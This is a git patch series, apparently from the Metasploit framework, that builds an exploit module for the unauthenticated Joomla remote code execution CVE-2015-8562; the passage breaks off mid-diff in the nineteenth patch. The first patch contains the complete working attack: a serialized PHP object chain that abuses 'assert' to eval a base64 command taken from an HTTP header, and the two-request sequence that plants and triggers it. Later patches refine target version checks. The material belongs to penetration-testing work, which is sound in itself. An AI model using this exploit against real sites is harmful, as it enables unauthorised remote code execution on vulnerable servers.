From 84d5067abed9f44833696be30a3ac1c9e356e486 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 17:20:49 +0100 Subject: [PATCH 01/21] add joomla RCE module --- .../multi/http/joomla_user_agent_rce.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/exploits/multi/http/joomla_user_agent_rce.rb diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_user_agent_rce.rb new file mode 100644 index 0000000000..6d621faf21 --- /dev/null +++ b/modules/exploits/multi/http/joomla_user_agent_rce.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', + 'Description' => %q{ + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + By storing user supplied headers in the databases session table it's possible to truncate the input + by sending an UTF-8 character. The custom created payload is then executed once the session is read + from the databse + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-8562'], + ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], + ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], + ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Joomla', {}]], + 'DisclosureDate' => 'Dec 14 2015', + 'DefaultTarget' => 0) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), + OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) + ], self.class) + end + + def get_payload + pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" + middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + post = "\xF0\x9D\x8C\x86" + return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + end + + def exploit + print_status("Sending payload ...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'headers' => { datastore['HEADER'] => get_payload } + }) + session_cookie = res.get_cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'cookie' => session_cookie, + 'headers' => { + 'CMD' => Rex::Text.encode_base64(payload.encoded) + } + }) + end +end From e4309790f5d047bbc4aa4e7ba759f9ab88b5fb85 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 17:37:45 +0100 Subject: [PATCH 02/21] renamed module because X-FORWARDED-FOR header is also working --- .../http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} (100%) diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb similarity index 100% rename from modules/exploits/multi/http/joomla_user_agent_rce.rb rename to modules/exploits/multi/http/joomla_http_header_rce.rb From b9b280954bc45f659c1fad10efed982fee3ca098 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 15 Dec 2015 11:03:36 -0600 Subject: [PATCH 03/21] Add a check for joomla --- .../multi/http/joomla_http_header_rce.rb | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 6d621faf21..9881b5945e 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -49,6 +49,39 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def check + res = send_request_cgi({'uri' => target_uri.path }) + + unless res + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + unless res.headers['X-Powered-By'] + vprint_error("Unable to determine the PHP version.") + return Exploit::CheckCode::Unknown + end + + php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + vprint_status("Found PHP version: #{php_version}") + + if php_version > '5.3' + vprint_error('This module currently does not work against this PHP version') + return Exploit::CheckCode::Safe + end + + res.get_html_meta_elements.each do |element| + if element.attributes['name'] && + /^generator$/i === element.attributes['name'] && + element.attributes['content'] && + /joomla/i === element.attributes['content'].value + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + def get_payload pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' @@ -58,7 +91,20 @@ class Metasploit3 < Msf::Exploit::Remote return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" end + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + def exploit + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue.') + return + end + print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', From c60343022887fd9a5e2447bc6d84be0284af2cda Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 15 Dec 2015 18:26:21 +0100 Subject: [PATCH 04/21] fix version check --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9881b5945e..3e94000d64 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version > '5.3' + if php_version >= '5.4' vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end From d4ade7a1fd1f551b8f653faa9bc985ec79911e60 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 00:18:39 +0100 Subject: [PATCH 05/21] update check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 3e94000d64..52ea087395 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,13 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version >= '5.4' + vulnerable = false + vulnerable = true if php_version < '5.4' + vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' + vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' + vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end @@ -79,6 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote end end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) + return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') + Exploit::CheckCode::Safe end From 2e54cd2ca78e8f9cf84d9e7ab6e472df3c753aee Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:42:41 +0100 Subject: [PATCH 06/21] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 52ea087395..489632f815 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -17,7 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read - from the databse + from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. + In later versions the deserialisation of invalid session data stops on the first error and the + exploit will not work. }, 'Author' => [ @@ -32,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], - ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], + ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', From c2795d58cb3e86768760a01a223771cff22d542f Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:55:23 +0100 Subject: [PATCH 07/21] use target_uri.path --- modules/exploits/multi/http/joomla_http_header_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 489632f815..9b16a3279f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -120,13 +120,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) From d80a7e662fb939e3e454fa3ba0b279fdd0c8b3a5 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:57:06 +0100 Subject: [PATCH 08/21] some formatting --- .../exploits/multi/http/joomla_http_header_rce.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9b16a3279f..8e34e7a35a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [['Joomla', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) - ) + ) register_options( [ @@ -119,15 +119,15 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, + 'method' => 'GET', + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, - 'cookie' => session_cookie, + 'method' => 'GET', + 'uri' => target_uri.path, + 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) } From 595645bcd7537666bbf2b34aee002ec7a9827f8a Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 07:03:01 +0100 Subject: [PATCH 09/21] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 8e34e7a35a..053a0c8042 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ - Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. From 01b943ec937f027065f9bf7f299fd852b8466c8b Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 07:26:25 +0100 Subject: [PATCH 10/21] fix check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 053a0c8042..1b72f2afbc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') - Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end def get_payload From 675dff3b6fd4bb132971c7318b17272411e8ea6d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:04:15 +0100 Subject: [PATCH 11/21] use Gem::Version for version compare --- modules/exploits/multi/http/joomla_http_header_rce.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1b72f2afbc..2895502d5a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -68,11 +68,12 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") + version = Gem::Version.new(php_version) + vulnerable = false - vulnerable = true if php_version < '5.4' - vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' - vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' - vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) unless vulnerable vprint_error('This module currently does not work against this PHP version') From 2661cc5899edf50bf81009880a116243111a5ad3 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:49:07 +0100 Subject: [PATCH 12/21] check ubuntu specific version --- .../exploits/multi/http/joomla_http_header_rce.rb | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2895502d5a..a20101a754 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) @@ -75,6 +75,18 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) + # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog + if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' + vprint_status("Found Ubuntu PHP version: #{sub_version}") + if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + else + vulnerable = false + end + end + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe From 934c6282a5ea7ba0263b1a3cc9c0a4a448669e0c Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:52:06 +0100 Subject: [PATCH 13/21] check for nil --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index a20101a754..7cd87f3007 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -136,8 +136,9 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) + fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, From 60181feb51af2809acc21be27174e3587ec1926d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:02:26 +0100 Subject: [PATCH 14/21] more ubuntu checks --- .../multi/http/joomla_http_header_rce.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 7cd87f3007..2bec5eb781 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -75,12 +75,19 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) - # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 - # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog - if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + # check for ubuntu specific versions. Was fixed in + # * 5.5.9+dfsg-1ubuntu4.13 + # * 5.3.10-1ubuntu3.20 + # Changelogs (search for CVE-2015-6835): + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{sub_version}") - if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + + if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) vulnerable = true else vulnerable = false From fa3fb1affc5cc2b429968fc366404d67799c3137 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:18:44 +0100 Subject: [PATCH 15/21] better ubuntu version check --- .../multi/http/joomla_http_header_rce.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2bec5eb781..e0523a87bc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -69,11 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) - vulnerable = false - vulnerable = true if version <= Gem::Version.new('5.4.44') - vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) - vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) # check for ubuntu specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 @@ -85,13 +81,19 @@ class Metasploit3 < Msf::Exploit::Remote sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") - if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) - vulnerable = true - elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) - vulnerable = true - else + if version > Gem::Version.new('5.5.9') vulnerable = false + elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13') + vulnerable = false + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20') + vulnerable = false + else + vulnerable = true end + else + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) end unless vulnerable From 67eba0d7081e8aecddb85cde5f539900530f63aa Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:46:00 +0100 Subject: [PATCH 16/21] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index e0523a87bc..bf0c0c9152 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,7 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. + exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20. }, 'Author' => [ From 30f90f35e982153053f9bd138772784f58fe8cae Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 15:19:33 +0100 Subject: [PATCH 17/21] also check for debian version number --- .../multi/http/joomla_http_header_rce.rb | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index bf0c0c9152..af6e00c3d5 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and - 5.3.10-1ubuntu3.20. + exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. }, 'Author' => [ @@ -67,20 +67,20 @@ class Metasploit3 < Msf::Exploit::Remote end php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' - vprint_status("Found PHP version: #{php_version}") - version = Gem::Version.new(php_version) vulnerable = false - # check for ubuntu specific versions. Was fixed in + # check for ubuntu and debian specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 # * 5.3.10-1ubuntu3.20 - # Changelogs (search for CVE-2015-6835): + # * 5.4.45-0+deb7u1 + # Changelogs (search for CVE-2015-6835 or #70219): # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -91,7 +91,19 @@ class Metasploit3 < Msf::Exploit::Remote else vulnerable = true end + elsif rest && rest.include?('+deb') + sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' + vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + + if version > Gem::Version.new('5.4.45') + vulnerable = false + elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1' + vulnerable = false + else + vulnerable = true + end else + vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) From b43d580276916a3178249bd79321e78d696aaf19 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 16:16:59 +0100 Subject: [PATCH 18/21] try to detect joomla version --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index af6e00c3d5..1f10f7e5fa 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -114,6 +114,14 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) + if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') + joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' + if joomla_version + return Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + end + end + res.get_html_meta_elements.each do |element| if element.attributes['name'] && /^generator$/i === element.attributes['name'] && @@ -123,9 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) - return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') - Exploit::CheckCode::Unknown end From 76438dfb2f677809a69c90431c1d47689ded7ce0 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 20:31:43 +0100 Subject: [PATCH 19/21] implement @wchen-r7 's suggestions --- .../multi/http/joomla_http_header_rce.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 